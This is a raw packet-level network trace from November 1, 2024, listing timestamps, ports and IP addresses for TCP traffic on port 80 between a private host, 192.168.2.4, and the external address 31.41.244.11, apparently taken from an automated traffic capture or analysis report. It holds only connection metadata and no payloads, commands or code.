Nov 1, 2024 10:57:11.395597935 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395607948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395620108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395629883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395632029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395659924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395688057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395704031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395713091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395715952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395719051 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395744085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395757914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395767927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395790100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395827055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395845890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395857096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395868063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395878077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395886898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395889044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395899057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395915985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395927906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395930052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395939112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395950079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395952940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395972967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.395972967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395984888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395993948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.395996094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396023035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396044970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396070957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396081924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396091938 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396104097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396117926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396145105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396184921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396194935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396204948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396215916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396225929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396225929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396239042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396241903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396250010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396272898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396290064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396294117 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396301985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396336079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396368980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396379948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396389008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396400928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396409988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396411896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396421909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396445990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396456957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396493912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396506071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396514893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396521091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396531105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396529913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396550894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396576881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396634102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396646023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396656990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396667957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396677971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396682024 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396689892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396691084 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396703005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396733999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396754026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396759033 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396764994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396775961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396785975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396790981 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396810055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396821976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396826982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396838903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396848917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396861076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396869898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396877050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396893978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396903992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396904945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396915913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396928072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396934032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396938086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396955967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396967888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396971941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.396980047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396990061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.396998882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397001028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397027016 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397052050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397073984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397093058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397104025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397111893 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397115946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397124052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397128105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397139072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397144079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397150040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397151947 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397161961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397173882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397186041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397196054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397201061 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397212982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397222042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397223949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397236109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397244930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397245884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397253036 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397264004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397274971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397284031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397284985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397300959 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397324085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.397917986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397959948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397970915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397984028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.397999048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398008108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398011923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398027897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398058891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398072004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398082972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398092985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398103952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398113966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398124933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398127079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398142099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398150921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398175955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398272038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398282051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398291111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398313046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398317099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398327112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398334980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398335934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398360968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398384094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398464918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398474932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398483038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398492098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398504019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398514032 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398524046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398529053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398533106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398544073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398550034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398552895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398562908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398564100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398574114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398596048 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398606062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398616076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398638010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398648024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398658037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398675919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398699999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398720980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398731947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398757935 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398806095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398814917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398823023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398833990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398849010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398850918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398859978 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398861885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.398874998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398888111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.398896933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.399669886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.399693012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.399703979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.399713039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.399722099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.399749041 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.399766922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.413150072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.413378000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.417340994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417361975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417372942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417383909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417393923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417398930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.417407036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417419910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417419910 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.417428970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417442083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.417496920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.417520046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417530060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417541027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417551041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417561054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417561054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.417561054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.417572975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417582989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.417582989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417593956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417604923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.417618036 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.417638063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.417905092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.417956114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.417989969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418000937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418034077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418035984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418052912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418072939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418085098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418092966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418104887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418126106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418132067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418147087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418159008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418236971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418246984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418256044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418267012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418276072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418283939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418287039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418293953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418303013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418312073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418324947 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418328047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418339968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418345928 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418349981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418365955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418368101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418373108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418381929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418387890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418392897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418397903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418406010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418416023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418426037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418426991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418436050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418441057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418464899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418493986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418590069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418628931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418639898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418651104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418663025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418683052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418771982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418783903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418793917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418808937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418816090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418818951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418828964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418836117 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418840885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418850899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418859959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418865919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418865919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418868065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418884993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418889999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418898106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418906927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418912888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418912888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418927908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418935061 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418940067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418948889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418955088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418958902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418976068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418982029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.418988943 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.418998957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419009924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419009924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419032097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419043064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419056892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419064045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419069052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419089079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419099092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419110060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419111967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419115067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419137001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419141054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.419150114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.419163942 CET	49820	80	192.168.2.4	31.41.244.11
